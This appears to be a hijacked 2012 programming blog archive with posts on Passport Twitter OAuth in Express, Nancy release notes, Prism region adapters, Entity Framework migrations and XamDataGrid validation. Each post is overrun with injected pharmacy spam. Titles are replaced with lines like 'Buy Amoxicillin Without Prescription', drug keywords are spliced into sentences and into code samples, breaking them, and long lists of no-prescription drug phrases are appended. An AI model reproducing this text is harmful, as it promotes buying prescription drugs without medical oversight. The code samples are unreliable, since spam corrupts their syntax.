Buy Amoxicillin Without Prescription

May 15th, 2012

Recently I added Twitter authentication to TrackMyRun using a library called Passport Buy Amoxicillin Without Prescription, . Real brand Amoxicillin online, I was pretty impressed how smooth this all went as I completely neglected all security concerns from the get go, which is definitely not recommended by the way, where to buy Amoxicillin. Buy Amoxicillin from canada, For this post I’ll walk you through the process of setting up Passport for Express using Twitter OAuth authentication.

Passport is actually the core library which provides support for OpenId and OAuth authentication. Instead of being one single monolithic library, herbal Amoxicillin, Amoxicillin alternatives, Passport uses strategies that support authentication directly with specific OpenId/OAuth providers.

So in order to get up and running, get Amoxicillin, Online buying Amoxicillin hcl, we need to install passport as well as passport-twitter for Twitter OAuth authentication. After we install these modules using npm, we can start by configuring the Twitter strategy.

var express = require('express'),    passport = require('passport'),    TwitterStrategy = require('passport-twitter').Strategy;

var users = [];

passport.use(new TwitterStrategy({ consumerKey: 'twitter-app-consumer-key', consumerSecret: 'twitter-app-consumer-secret', callbackURL: "http://test.passport-twitter.com:3000/auth/twitter/callback" }, function(token, tokenSecret, profile, done) { var user = users[profile.id] ||
(users[profile.id] = { id: profile.id, name: profile.username }); done(null, user); }));

 

The strategy must be configured by providing the consumer key and consumer secret as well as the callback URL, Buy Amoxicillin Without Prescription. I’m not going too much in depth on how OAuth works, australia, uk, us, usa. Amoxicillin use, Make sure to check out the Twitter for developers website on how to configure an application that uses the Twitter API.

Besides adding the strategy for Twitter, Amoxicillin gel, ointment, cream, pill, spray, continuous-release, extended-release, Amoxicillin used for, we also specified a callback function. In this callback, buy Amoxicillin without a prescription, Buy cheap Amoxicillin no rx, we’re supposed to find and verify a user that matches a specified set of credentials. Buy Amoxicillin Without Prescription, Usually we have some code here that checks to see if the specified user exists in a database of some sort. In order not to clutter this example, online buying Amoxicillin, Order Amoxicillin from mexican pharmacy, I used a simple array here instead.

If we can find the requested user in our data store, where can i cheapest Amoxicillin online, Amoxicillin coupon, we need to invoke done() to supply the Passport with the user.

done(null, user);

When the user cannot be found, Amoxicillin pics, Amoxicillin brand name, we can simply pass false instead of a user object.

done(null, false);

In our example we always ensure that the specified credentials match a particular user object, rx free Amoxicillin. Order Amoxicillin no prescription, Next we need to configure the Passport middleware for initialization and session management.

application.configure(function() {    application.use(express.bodyParser());    application.use(express.methodOverride());    application.use(express.cookieParser());    application.use(express.session( { secret: '498f99f3bbee4ae3a075eada02488464' } ));    application.use(passport.initialize());    application.use(passport.session());    application.use(application.router);    application.use(express.errorHandler({ showStack: true, dumpExceptions: true }));    application.set('view engine', purchase Amoxicillin online no prescription, Amoxicillin price, 'jade');});

Please note that the express.session() middleware needs be called before passport.session(). Next we add the routes necessary for authenticating requests and handling the token callback, Amoxicillin forum.

application.get('/auth/twitter', passport.authenticate('twitter'));

application.get('/auth/twitter/callback',
passport.authenticate('twitter',
{ successRedirect: '/',
failureRedirect: '/auth/twitter' }));

 

Last but not least we also need to declare a serializeUser/deserializeUser callback function, Buy Amoxicillin Without Prescription. Comprar en línea Amoxicillin, comprar Amoxicillin baratos, These are necessary for supporting login sessions.

passport.serializeUser(function(user, is Amoxicillin addictive, Amoxicillin maximum dosage, done) {    done(null, user.id);});

passport.deserializeUser(function(id, ordering Amoxicillin online, After Amoxicillin, done) { var user = users[id]; done(null, user);});

Instead of reading the requested user objects from the data store, we simply use the array that we incorporated earlier.

That’s basically the thing. We can add other authentication providers by simply configuring more strategies. Have a look at the full source code of this example and try to get it up and running.

Until next time.

.

Similar posts: Buy Phenergan Without Prescription. Buy Proscar Without Prescription. Triamterene For Sale. Buy Allopurinol Without Prescription. Buy Colchicine Without Prescription. Spiriva canada, mexico, india. Where can i cheapest Clomid online. Lumigan pharmacy. Where can i order Amoxicillin without prescription. Canada, mexico, india.
Trackbacks from: Buy Amoxicillin Without Prescription. Buy Amoxicillin Without Prescription. Buy Amoxicillin Without Prescription. Buy Amoxicillin Without Prescription. Buy Amoxicillin Without Prescription. Amoxicillin for sale. No prescription Amoxicillin online. Amoxicillin street price. Amoxicillin online cod. Amoxicillin price.

Zithromax For Sale

May 7th, 2012

Zithromax For Sale, With out eleventh release just our the door, I was struggling to come up with a descriptive post title that captured the essence of the new version. Kjøpe Zithromax på nett, köpa Zithromax online, Looking back at the 190 commits by 25 authors that make up the release,  "more than the sum of its parts" is an appropriate description, where to buy Zithromax. Zithromax price,
A total of 78 contributors, with more lining up with pending pull requests for future versions, Zithromax alternatives, Ordering Zithromax online, have helped make Nancy the awesome framework we have the pleasure to put to your disposal.

A glimps of what's new

It would take up far too much space to write about the 62 work items that's gone in to this release, Zithromax forum, Order Zithromax online c.o.d, so instead I will just cherry-pick some of them and present them here. You should visit the milestone at github and check out everything that's gone into 0.11.

  1. Favicon override by just dropping a favicon.ico/png anywhere in your application path, is Zithromax safe. Can still override the FavIcon property in the bootstrapper if you wan't custom logic or use an embedded icon
  2. Updated the FluentValidation nuget dependency to 3.3.1.0, Zithromax For Sale. Zithromax duration, Turns out the FluentValidation nuget contains a strong-named assembly
  3. Added AddFile to StaticContentConventionBuilder, enables you to map individual files
  4. Allow Nancy to run on machines with FIPS Compliance enabled
  5. Added our own ViewBag concept and exposed it on several of the view engines
  6. @helper functions are now supported by the Razor view engine
  7. HtmlHelpers/UrlHelpers gained a face lift and now expose a rich set of properties, comprar en línea Zithromax, comprar Zithromax baratos, Zithromax blogs, such access to the model, the render context (thus the actual NancyContext itself) and the engine itself, effects of Zithromax. Buy Zithromax no prescription, This opens up the door to write pretty much any kind of helper extension you can envision

This is just a small selection of all the new features and improvements that have been added for this release, make sure to read the full change log.

Breaking changes

We really do try out best to limit the number of breaking changes that we introduce with each release, buy Zithromax without a prescription. Zithromax australia, uk, us, usa, Some APIs are still being explored and as feedback comes in from users, we sometime feel the need to make some breaking changes in order to make the path forward easier on everyone, Zithromax without prescription, Buy generic Zithromax, contributor or consumer. In this release we have 2 breaking changes (the milestone says 3, what is Zithromax, Rx free Zithromax, but 2 of them relate to the same change, just different areas in the code base).

  1. Removed Nancy-Version header, buying Zithromax online over the counter. Zithromax For Sale, In hindsight this was nothing more than a framework vanity place, put in by yours truly. Zithromax recreational, I do agree to the idea of the less information you expose, the smaller the attack vector will be on your application and with this in mind we decided to pull the version out starting with this release, get Zithromax. Online buy Zithromax without a prescription, You can add it back in with an application pipeline hook if you have a need for it. If you don’t know how to, buy Zithromax without prescription, After Zithromax, just drop us a line at the user group and we’ll get you sorted in no time.
  2. Added NancyContext everywhere. This is probably only going to affect you if you have been extending any of Nancy’s sub-systems (error handling, Zithromax canada, mexico, india, Zithromax pictures, authentication, model binding and so on), Zithromax schedule. There were a couple of sub-systems where the context was not available, which made it difficult, if not impossible, to sometimes get the full potential out of your code, Zithromax For Sale. Japan, craiglist, ebay, overseas, paypal, Hopefully this change will improve the experience by quite a lot. If you spot a place where the context would do good, low dose Zithromax, Zithromax mg, let us know.

What's up next

There are quite a lot of pending pull requests, with all sorts of interesting new features and improvements, Zithromax samples, Australia, uk, us, usa, that are waiting to be included in the next release. The main focus for me and Steven are going to be to add support for async routes and content negotiation, Zithromax street price. Zithromax interactions, We have created a post, with the title Planning 0.12 : Content Negotiation to capture your ideas for how it should look and work in Nancy, buy Zithromax online cod. Zithromax no rx, We will be creating a similar post, soon, order Zithromax no prescription, Doses Zithromax work, for async discussions.

We also have a goal of making more frequent releases, Zithromax coupon, there is no point in holding back a release just because we want to get certain features into it, they can always come in the next iteration. We feel that it would be far more productive if we had a shorter (maybe every 3-4 weeks) release cycle so we get all the awesome stuff, that’s contributed by the community, into your hands faster.

That’s all for this release!

.

Similar posts: Macrobid For Sale. Buy Temovate Cream Without Prescription. Buy Premarin Without Prescription. Buy Prozac Without Prescription. Viagra For Sale. Generic Human Growth Hormone. Purchase Amoxicillin online. Stromectol no prescription. Buy cheap Synthroid no rx. Effects of Viagra.
Trackbacks from: Zithromax For Sale. Zithromax For Sale. Zithromax For Sale. Zithromax For Sale. Zithromax For Sale. Zithromax over the counter. Is Zithromax safe. Zithromax treatment. Get Zithromax. Zithromax pictures.

Buy Zithromax Without Prescription

May 3rd, 2012

We’ve always tried to make sure that Nancy being able to run on Mono Buy Zithromax Without Prescription, for every new release we put out. Since neither me or @Grumpydev use Mono or MonoDevelop as our primary development environment, purchase Zithromax online no prescription, Zithromax used for, nor does a lot of our contributors, we’ve always found ourselves having to play “mono-catch-up” at the end of each milestone.

Having that extra step in the release process is a bit of an impediment when all we want to do is ship the new bits, my Zithromax experience, Buy Zithromax online no prescription, as fast as possible, so we can put them in the hands of our community, Zithromax dosage. Purchase Zithromax for sale, Obviously we needed a change in our process and it was obvious that we needed to incorporate a Mono build into our CI process.

This is actually not a new idea we’ve had. For probably the better part of a year I have been trying to figure out how to make this happen, where can i buy Zithromax online. No prescription Zithromax online, We are proud users of the CodeBetter TeamCity server and it’s always worked well for us, with great support, about Zithromax. So my goal has always been to get a Mono build agents wired into that, Buy Zithromax Without Prescription. Canada, mexico, india,

For one reason or another, it’s always fallen short, Zithromax no prescription, Zithromax overnight, that is, until now, real brand Zithromax online. Where can i cheapest Zithromax online, About a month ago I decided to take another swing at this so I contacted the people at CodeBetter to check on the likelihood of having a Mono agent added. I’d also talked to the awesome Dale Ragan (of Moncai, order Zithromax from United States pharmacy, Zithromax pics, Monkey Square and Monospace) if he’d be willing to share a bit of his time and knowledge around the subject, which is was more than willing to.

A couple of e-mails later, buy cheap Zithromax, Buy Zithromax from mexico, the plans had been made and Dale also informed us that Monkey Square would like to sponsor the build agent and cover the cost of the EC2 instance that it would be running on. How cool isn’t that of them!?!

Today we ran the first successful, Zithromax results, Zithromax over the counter, automated, Nancy Mono build using the new build agent, Zithromax maximum dosage. Buy Zithromax Without Prescription, This is going to make it so easier for us to make sure that everything is strawberries when it comes to Mono at the time we are ready to push out a new official version. Is Zithromax addictive, We’ll get near instant feedback on each of our commits and every time we accept a pull request. This means we can act immediately to sort it out instead of risking to put them all on a pile (usually a very small pile., herbal Zithromax. Discount Zithromax, more like a bump really, but still a list of things that needs to be sorted).

Nancy builds for .NET and Mono running on the Mono agent at the CodeBetter TeamCity server

(Yes, Zithromax price, coupon, Zithromax reviews, fewer tests on the Mono build because things like our WCF host is obviously not supported on Mono)

I would also like to make a shout-out to the awesome people at CodeBetter, especially
James Kovacs and Kyle Baley for their help in making this happen, online buying Zithromax. Order Zithromax online overnight delivery no prescription, A special thanks also goes out to Hadi Hariri, of JetBrains, buy no prescription Zithromax online, Cheap Zithromax, for always helping out with my TeamCity questions and for encouraging me to push hard enough to make this a reality.

, Zithromax dangers. Buy cheap Zithromax no rx. Zithromax wiki. Zithromax images. Zithromax dose. Zithromax from canada. Online buying Zithromax hcl. Purchase Zithromax. Buy Zithromax from canada. Zithromax description.

Similar posts: Buy Nasonex Without Prescription. Tindamax For Sale. Slimex (Obetrim) For Sale. Buy Epogen Without Prescription. Accutane For Sale. Armour interactions. Buy cheap Clindamycin Gel. Order Estrace Vaginal Cream online overnight delivery no prescription. Order Diflucan from mexican pharmacy. Buy Bactroban without a prescription.
Trackbacks from: Buy Zithromax Without Prescription. Buy Zithromax Without Prescription. Buy Zithromax Without Prescription. Buy Zithromax Without Prescription. Buy Zithromax Without Prescription. Zithromax description. Buy cheap Zithromax no rx. Buy Zithromax no prescription. Generic Zithromax. Zithromax samples.

Buy Retin-A Without Prescription

April 25th, 2012

Buy Retin-A Without Prescription, This is the first video in a series that will take you step-by-step on building a Prism application that mimics Microsoft Outlook.  This video covers how to setup a multi-platform Prism application that targets WPF and Silverlight.  I show you how to setup your directory structure, as well as the solution/project structure inside Visual Studio.  We also create a functional Silverlight and WPF shell application and see our first glimpse of code sharing with the bootstrapper.

Watch the video on Xaml TV.

. Retin-A use. Order Retin-A from mexican pharmacy. Online Retin-A without a prescription. Retin-A brand name. Fast shipping Retin-A. Retin-A cost. Retin-A class. Retin-A photos. Retin-A natural. Purchase Retin-A online. Where can i order Retin-A without prescription. Retin-A online cod. Retin-A pharmacy. Retin-A from canadian pharmacy. Where can i find Retin-A online. Retin-A steet value. Where can i buy cheapest Retin-A online. Generic Retin-A. Retin-A long term. Retin-A without a prescription. Retin-A for sale. Taking Retin-A. Retin-A trusted pharmacy reviews. Retin-A from mexico. Retin-A pics. Order Retin-A online overnight delivery no prescription. Buy Retin-A online no prescription. Retin-A steet value. Retin-A description. Order Retin-A from United States pharmacy. Retin-A duration. Where can i find Retin-A online. Where can i cheapest Retin-A online. No prescription Retin-A online. Taking Retin-A. Online buy Retin-A without a prescription. Order Retin-A no prescription. Effects of Retin-A. Retin-A online cod. Retin-A treatment.

Similar posts: Buy Acomplia Without Prescription. Periactin For Sale. Buy Flonase Without Prescription. Buy Periactin Without Prescription. Buy Armour Without Prescription. Phenergan wiki. Soma maximum dosage. Zovirax treatment. Cialis price, coupon. Flexeril price.
Trackbacks from: Buy Retin-A Without Prescription. Buy Retin-A Without Prescription. Buy Retin-A Without Prescription. Buy Retin-A Without Prescription. Buy Retin-A Without Prescription. Retin-A wiki. Rx free Retin-A. Buying Retin-A online over the counter. Retin-A online cod. Retin-A canada, mexico, india.

Amoxicillin For Sale

April 23rd, 2012

Amoxicillin For Sale, Often when learning a technology you start by searching the web.  You look for videos, blogs, articles, samples, and examples.  What you start to realize is that everything you find is very simple “demo” code.  That’s code that shows how to implement a simple feature in a non-realistic demo.  Then you start looking for “production” code examples.  That’s code that represents a more realistic implementation of an application in a production environment.  This type of resource is very difficult to find.  Why?  Mainly, because it is very time consuming to create such examples.

This scenario is no different when trying to learn Prism.  You probably first start by reading though the documentation.  Next, you head on over to Pluralsight and watch my Introduction to Prism course.  Now that you know all the basics you start searching the web for examples for specific scenarios.  How do I do “x” and “y”?  How do I apply this sample code to my application?  Hopefully I can help you answer those questions.

I am starting a new video series called Building IG Outlook.  I will take you step-by-step on building a Prism application that mimics Microsoft Outlook.  We will be discussing the following key areas in no specific order:

  1. Application architecture/structure
  2. Multi-platform support (WPF and Silverlight)
  3. Commanding
  4. Event aggregation
  5. Custom RegionAdapters
  6. Custom RegionBehaviors
  7. Navigation (OutlookBar, Ribbon, and View interaction)
  8. MVVM (no frameworks needed)

Like most production applications we will have a dependency on a 3rd party toolset.  I will be using Infragistics NetAdvantage for WPF and Silverlight.  If you don’t own Infragistics you can download the trial or purchase the suite so you can compile and run all the sample code.  Otherwise, you will have to modify the code to work with your vendor of choice.

I hope this series will help you gain a better understanding of how you can use the various aspects of Prism to build your applications.  This will be a long series and I plan to record at least one a week depending on my traveling schedule.  If you have any questions or would like to see something specific be sure to let me know, and I will see if I can squeeze an example in the application.

. Amoxicillin alternatives. Amoxicillin dangers. Amoxicillin schedule. Amoxicillin for sale. Is Amoxicillin safe. Australia, uk, us, usa. Amoxicillin forum. Amoxicillin overnight. Cheap Amoxicillin no rx. Online Amoxicillin without a prescription. Amoxicillin dosage. Canada, mexico, india. About Amoxicillin. Order Amoxicillin from mexican pharmacy. Amoxicillin images. Amoxicillin class. Amoxicillin long term. Amoxicillin samples. Online buying Amoxicillin hcl. Where can i buy cheapest Amoxicillin online. Amoxicillin from mexico. Amoxicillin cost. Amoxicillin from canada. Generic Amoxicillin. Buy cheap Amoxicillin no rx. Amoxicillin recreational. Purchase Amoxicillin online. Amoxicillin maximum dosage. Buy cheap Amoxicillin. Where can i order Amoxicillin without prescription. Buying Amoxicillin online over the counter. Amoxicillin without prescription. Amoxicillin used for. After Amoxicillin. Buy Amoxicillin without prescription. Amoxicillin brand name. Real brand Amoxicillin online. Amoxicillin australia, uk, us, usa. Amoxicillin from canadian pharmacy. Fast shipping Amoxicillin.

Similar posts: Buy Macrobid Without Prescription. Xalatan For Sale. Buy Diflucan Without Prescription. Buy Avodart Without Prescription. Buy Prednisolone Without Prescription. Order Flonase from United States pharmacy. Purchase Atenolol online. Proscar overnight. Where can i cheapest Antabuse online. Methotrexate forum.
Trackbacks from: Amoxicillin For Sale. Amoxicillin For Sale. Amoxicillin For Sale. Amoxicillin For Sale. Amoxicillin For Sale. Amoxicillin dose. Generic Amoxicillin. Herbal Amoxicillin. Amoxicillin street price. Where can i order Amoxicillin without prescription.

Buy Clomid Without Prescription

April 18th, 2012

Buy Clomid Without Prescription, There was a time when I thought it might be worth it to try and create a Software Professional Code of Ethics. I no longer think the effort is worth it as there is already a big enough rat hole in this space as evidenced here, Clomid mg. Clomid blogs, At the time this held my interest I read some codes of ethics from other fields and studied the matter.

Here is what I came up with at the time.

  1. Consider first the well-being of customers and colleagues, never exploiting them for any reason.
  2. Give customers and colleagues respect, Clomid reviews, Buy Clomid no prescription, honesty, and confidentiality.
  3. Be transparent in limitations in skill or ability, what is Clomid, Cheap Clomid, saying “I do not know” without shame.
  4. Confer with appropriately qualified professionals when their skills are needed.
  5. Prevent defects whenever possible, for prevention is preferable to correction.
  6. Active collaboration with customers is required to provide correct solutions or services.
  7. Practice the science and art of software development to the best of my ability.
  8. Continue lifelong learning to improve my standard of software development.
  9. Recognize some situations are beyond my capabilities and I cannot help my customer.
  10. Ensure customers are aware of costs and risks to the best of my ability.
  11. Gladly share knowledge with others, Clomid canada, mexico, india, Clomid price, respecting the hard-won gains of technologists in whose steps I walk.
  12. Consciously balance the competing forces of utility and elegance to provide appropriate and fit-for-purpose solutions.

And here are some leftover questions I still have.

  • Should we address stealing and/or crediting the work of others?
  • Should we address issues of data privacy and access?
  • What’s missing.
  • What shouldn’t be there, Clomid price, coupon. Clomid gel, ointment, cream, pill, spray, continuous-release, extended-release,
  • Is there any point to this?
. My Clomid experience. Doses Clomid work. Clomid over the counter. Rx free Clomid. Where can i buy Clomid online. Clomid street price. Discount Clomid. Clomid use. Clomid results. Clomid no prescription. Buy Clomid online cod. Online buying Clomid. Clomid no rx. Buy Clomid from canada. Get Clomid. Clomid pharmacy. Clomid wiki. Purchase Clomid. Clomid trusted pharmacy reviews. Buy Clomid without a prescription. Clomid interactions. Clomid pictures. Purchase Clomid online no prescription. Buy no prescription Clomid online. Where to buy Clomid. Clomid photos. Clomid without a prescription. Japan, craiglist, ebay, overseas, paypal. Low dose Clomid. Comprar en línea Clomid, comprar Clomid baratos.

Similar posts: Avodart For Sale. Flagyl For Sale. Lexapro For Sale. Stromectol For Sale. Buy Soma Without Prescription. Where can i buy cheapest Antabuse online. Slimex (Obetrim) photos. Augmentin description. Buy Colchicine no prescription. Clonidine natural.
Trackbacks from: Buy Clomid Without Prescription. Buy Clomid Without Prescription. Buy Clomid Without Prescription. Buy Clomid Without Prescription. Buy Clomid Without Prescription. Clomid dose. Clomid no prescription. Where can i cheapest Clomid online. Clomid used for. Clomid dangers.

Buy Flagyl Without Prescription

April 18th, 2012

Don’t want to read the article?  Watch the video tutorial on Xaml TV.

Prism provides 4 region adapters out of the box for you:

  • ContentControlRegionAdapter
  • SelectorRegionAdaptor
  • ItemsControlRegionAdapter
  • TabControlRegionAdapter (Silverlight only)

Buy Flagyl Without Prescription, Well, what happens when you want to use a different control as a region host?  Simple.  You need to write a custom region adapter for it.  Is it hard you ask?  No it is quite easy.  Let’s write one for the StackPanel.

Start by creating a class the derive from and implements the base abstract class RegionAdapterBase<T>.

public class StackPanelRegionAdapter : RegionAdapterBase<StackPanel>
{
    public StackPanelRegionAdapter(IRegionBehaviorFactory factory)
        : base(factory)
    {

    }

    protected override void Adapt(IRegion region, StackPanel regionTarget)
    {
        region.Views.CollectionChanged += (s, e) =>
            {
                if (e.Action == NotifyCollectionChangedAction.Add)
                {
                    foreach (FrameworkElement element in e.NewItems)
                    {
                        regionTarget.Children.Add(element);
                    }
                }

                //implement remove
            };
    }

    protected override IRegion CreateRegion()
    {
        return new AllActiveRegion();
    }
}

Notice that there are two methods we need to implement. Adapt and CreateRegion.  CreateRegion return the type of region we will need.  In our case we want to support multiple views so we need to return an instance of an AllActiveRegion.  If we only needed support for one view at a time we would return a SingleActiveRegion.  The Adapt method is responsible for adapting the region to our control.  This is where we will add and remove the views to or host control.

Now we simply have to tell Prism about our new RegionAdapter.  We do this in the bootstrapper.  Simply override the ConfigureRegionAdapterMappings method as follows:

protected override Microsoft.Practices.Prism.Regions.RegionAdapterMappings ConfigureRegionAdapterMappings()
{
    RegionAdapterMappings mappings = base.ConfigureRegionAdapterMappings();
    mappings.RegisterMapping(typeof(StackPanel), Flagyl dose, Buy generic Flagyl, Container.Resolve<StackPanelRegionAdapter>());
    return mappings;
}

That’s it.  Now you can use a StackPanel as a region host:

<StackPanel Orientation="Horizontal"
            prism:RegionManager.RegionName="MyRegion" />

 

Download the sample application.

. Order Flagyl online c.o.d. Ordering Flagyl online. Purchase Flagyl for sale. Buy Flagyl from mexico. Herbal Flagyl. Fast shipping Flagyl. Flagyl description. Buy Flagyl online no prescription. Generic Flagyl. Buy cheap Flagyl. Ordering Flagyl online. My Flagyl experience. Where can i find Flagyl online. Is Flagyl addictive. Flagyl no prescription. Order Flagyl from mexican pharmacy. Buy generic Flagyl. Buy Flagyl online cod. Flagyl coupon. Buy cheap Flagyl no rx. Flagyl recreational. Flagyl pics. Flagyl price. Get Flagyl. Low dose Flagyl. Flagyl duration. Flagyl from mexico. Flagyl dosage. Doses Flagyl work. Flagyl without a prescription. Flagyl maximum dosage. Canada, mexico, india. Comprar en línea Flagyl, comprar Flagyl baratos. Where can i buy Flagyl online.

Similar posts: Buy Atenolol Without Prescription. Buy Female Pink Viagra Without Prescription. Vermox For Sale. Buy Erythromycin Without Prescription. Lasix For Sale. Periactin online cod. Topamax overnight. Zovirax natural. Get Inderal. Cheap Prozac.
Trackbacks from: Buy Flagyl Without Prescription. Buy Flagyl Without Prescription. Buy Flagyl Without Prescription. Buy Flagyl Without Prescription. Buy Flagyl Without Prescription. Online buy Flagyl without a prescription. Online buying Flagyl hcl. Is Flagyl addictive. About Flagyl. Buy cheap Flagyl no rx.

Clomid For Sale

April 12th, 2012

Clomid For Sale, Migrations are very powerful. Online buying Clomid hcl, When they work it’s awesome, but when things go wrong trying to determine what happened can be extremely frustrating, Clomid street price. Order Clomid from United States pharmacy, I have spent quite a bit of time mastering a process that works well for me. Here are a few pointers I have learned along the way:

 

1 - Do not use Automatic Migrations

Automatic Migrations are fun for demos and quick proof of concepts, purchase Clomid online, Where can i cheapest Clomid online, but have no place in a production application (use Code-based). Here are 3 main reasons not to use Automatic Migrations:

  1. An Automatic Migration cannot be uniquely identified, Clomid canada, mexico, india, Clomid treatment, thus a ‘diff’ script cannot be generated between two migrations (to apply to other environments).
  2. Automatic Migrations don’t show what changes are being applied to the database, nor provide a way to be individually backed out, Clomid For Sale.
  3. Automatic Migrations are applied using the same ‘Update-Database’ command that also runs the Code-Based migrations (side effect free!), rx free Clomid. Buy Clomid without a prescription, When mixing Automatic and Code-based migrations a simple ‘Update-Database’ to run Code-based migrations may also generate Automatic ‘ghost’ scripts against the database.

image

 


2 - Know the _MigrationHistory Table

The _MigrationHistory Table provides metadata about the database, Clomid brand name. About Clomid, Most importantly it shows what migrations have been applied. Clomid For Sale, At some point it may be necessary to manually remove records from here. By default it is a system table, online buying Clomid, Clomid reviews, but can be configured otherwise.

 

image

 


3 - Migrations are both ‘Up’ and ‘Down’

Each migration has the concept of ‘Up’ and ‘Down’, where ‘Up’ applies the changes to the target database and ‘Down’ reverts them, purchase Clomid online no prescription. Clomid overnight, Understanding what it takes for the schema and data to go ‘Down’ is just as important as ‘Up’. Think of it as a contingency plan, buy no prescription Clomid online, Is Clomid safe, or insurance.

 

image

 


4 - If you ‘re-scaffold’, make sure to undo first (Down)

‘Re-scaffolding’ regenerates an existing migration with additional changes, buy Clomid without prescription. Clomid natural,

 

image

If the migration has already been applied to the database it must be backed out before re-scaffolding (by targeting the previous migration with Update-Database). If not backed out the re-scaffold will replace the migration with only the new changes and the database will be stuck (it wont be able to go ‘down’).

 


5 – Never delete a Migration before backing it out (Down)

A migration has ‘Down’ code in it (see 3), Clomid For Sale. If deleted before the changes are undone the database will be stuck in an invalid state, Clomid gel, ointment, cream, pill, spray, continuous-release, extended-release. Clomid for sale, This can get very problematic if subsequent migrations are added on top.

 


6 - Understand the Relationships (and the Fluent API)

Does this sound Greek.

image

It did to me, no prescription Clomid online. Order Clomid online c.o.d, However, taking a database beyond ‘Blogs and Posts’ requires intimate knowledge of the Fluent API in order to configure the correct relationship, Clomid steet value. Learn it.

 


7 - Look at the Migration code

Clomid For Sale, What!. After Clomid, It’s not perfect. Nope, buy Clomid from mexico, Kjøpe Clomid på nett, köpa Clomid online, it is not. I make changes to the generated code all the time, cheap Clomid. Clomid from canada, Sometimes it is just flat out wrong or misses things.

image

 


8 -Tear all the way down, and then back up

Frequently check to make sure the database changes are in sync and healthy, Clomid results. One way to do this is by tearing all the way down to Migration ‘0’, and the doing an ‘Update-Database’ to bring it current, Clomid For Sale. Clomid cost, A unit test works great to automate this.

image

 


9 - Relax

Learning Migrations can be a frustrating time suck. Don’t punch your monitor, Clomid interactions. Buying Clomid online over the counter, Instead take a breather and relax, then come back to it, australia, uk, us, usa. Clomid australia, uk, us, usa, It is an investment, but when mastered it will pay dividends to your team and process.

 

image

, Clomid photos. Clomid no rx. Clomid online cod. Taking Clomid. Clomid without prescription.

Similar posts: Diflucan For Sale. Buy Antabuse Without Prescription. Buy Lipitor Without Prescription. Buy Glucophage Without Prescription. Buy Diclofenac Without Prescription. Lotrisone cost. Online buying Pristiq hcl. Where to buy Triamterene. Online buying Zithromax. Elavil use.
Trackbacks from: Clomid For Sale. Clomid For Sale. Clomid For Sale. Clomid For Sale. Clomid For Sale. After Clomid. Order Clomid online c.o.d. Online buy Clomid without a prescription. Clomid no prescription. Clomid overnight.

Retin-A For Sale

April 11th, 2012

Retin-A For Sale, I was monitoring my Twitter feed, like I always do, and saw a tweet come through asking about how to validate an object’s property against it’s parent ObservableCollection in the Infragistics XamDataGrid.  What this person was trying to accomplish was to validate a duplicate item in his data source.  They have a POCO object the implements the IDataErrorInfo interface, and an ObservableColletion<POCO> as the data source.  They want to check the ObservableCollection<POCO> for a pre-existing item whenever a property value in a POCO changes.  Obviously this is not a XamDataGrid issue, but rather an object design issue.  So I decided to whip up a quick and dirty solution to solve this particular issue.

The approach I am going to take is to simply keep track of the parent collection from within the POCO object itself.  I really like interfaces, so I started out by defining a simple interface my POCOs will implement.

public interface IHasParent
{
    object Parent { get; set; }
}

Now let’s take a look at the simple POCO I will be using in this example.

public class Person : INotifyPropertyChanged, IDataErrorInfo
{
    private string _firstName;
    public string FirstName
    {
        get { return _firstName; }
        set
        {
            _firstName = value;
            OnPropertyChanged("FirstName");
        }
    }

    private string _lastName;
    public string LastName
    {
        get { return _lastName; }
        set
        {
            _lastName = value;
            OnPropertyChanged("LastName");
        }
    }

    public event PropertyChangedEventHandler PropertyChanged;
    protected void OnPropertyChanged(string propertyName)
    {
        var handler = PropertyChanged;
        if (handler != null)
            handler(this, new PropertyChangedEventArgs(propertyName));
    }

    public string this[string columnName]
    {
        get
        {
            if (columnName == "FirstName")
            {
                if (String.IsNullOrWhiteSpace(FirstName))
                    return "First name cannot be empty";
            }

            if (columnName == "LastName")
            {
                if (String.IsNullOrWhiteSpace(LastName))
                    return "Last name cannot be empty";
            }

            return String.Empty;
        }
    }

    public string Error
    {
        get { return String.Empty; }
    }
}

Notice that we implement both the INotifyPropertyChanged interfaces as well as the IDataErrorInfo interface.  The Next thing we need is a custom ObservableCollection to use as our data source.

public class HasParentObservableCollection<T> : ObservableCollection<T>
{
    protected override void InsertItem(int index, T item)
    {
        //set the parent object when a new item is added to our collection
        if (item != null && item is IHasParent)
            (item as IHasParent).Parent = this;

        base.InsertItem(index, item);
    }
}

Notice that we are casting our item as the IHasParent interface and setting the Parent property accordingly.  The next thing we need to do is have our POCO class implement the IHasPerson interface.

public class Person : INotifyPropertyChanged, IDataErrorInfo, IHasParent
{
    public object Parent { get; set; }

    private string _firstName;
    public string FirstName
    {
        get { return _firstName; }
        set
        {
            _firstName = value;
            OnPropertyChanged("FirstName");
        }
    }

    private string _lastName;
    public string LastName
    {
        get { return _lastName; }
        set
        {
            _lastName = value;
            OnPropertyChanged("LastName");
        }
    }

    public event PropertyChangedEventHandler PropertyChanged;
    protected void OnPropertyChanged(string propertyName)
    {
        var handler = PropertyChanged;
        if (handler != null)
            handler(this, new PropertyChangedEventArgs(propertyName));
    }

    public string this[string columnName]
    {
        get
        {
            if (columnName == "FirstName")
            {
                if (String.IsNullOrWhiteSpace(FirstName))
                    return "First name cannot be empty";
            }

            if (columnName == "LastName")
            {
                if (String.IsNullOrWhiteSpace(LastName))
                    return "Last name cannot be empty";

                if (Parent != null && Parent is IList<Person>)
                {
                    var list = (IList<Person>) Parent;
                    if (list.Count(x => x.LastName == LastName) > 1)
                        return "This last name already exists.  Please use a different last name.";
                }
            }

            return String.Empty;
        }
    }

    public string Error
    {
        get { return String.Empty; }
    }
}

Notice how we implemented the check for a duplicate last name.  We simply checked to make sure we are dealing with the LastName property.  Then we cast the Parent as an IList<Person> so that we can perform a simply LINQ query against it.  We check the parent collection for any results that match the LastName property.  If more than one is returned we have a duplicate.

So let’s test this baby using the XamDataGrid as the original poster was attempting to do.  First create our UI.

<igDP:XamDataGrid Name="xamDataGrid1">
    <igDP:XamDataGrid.FieldLayouts>
        <igDP:FieldLayout>
            <igDP:Field Name="FirstName" Label="First Name" />
            <igDP:Field Name="LastName" Label="Last Name" />
        </igDP:FieldLayout>
    </igDP:XamDataGrid.FieldLayouts>
    <igDP:XamDataGrid.FieldLayoutSettings>
        <igDP:FieldLayoutSettings AddNewRecordLocation="OnTop"
                                  AllowAddNew="True"
                                  AutoGenerateFields="False"
                                  SupportDataErrorInfo="RecordsAndCells"
                                  DataErrorDisplayMode="Highlight" />
    </igDP:XamDataGrid.FieldLayoutSettings>
</igDP:XamDataGrid>

Next let’s hook up some data to this bad boy:

